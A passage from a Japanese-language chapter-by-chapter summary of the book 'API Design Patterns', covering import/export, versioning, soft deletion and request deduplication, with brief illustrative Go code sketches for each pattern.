 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/export_%s\\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\\"operations/import_%s\\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\\"unsupported API version: %v\\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` Deleted bool `json:\\"deleted\\"` ExpireTime time.Time `json:\\"expireTime,omitempty\\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\\"requestId\\"` Payload interface{} `json:\\"payload\\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\\"request ID collision detected\\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担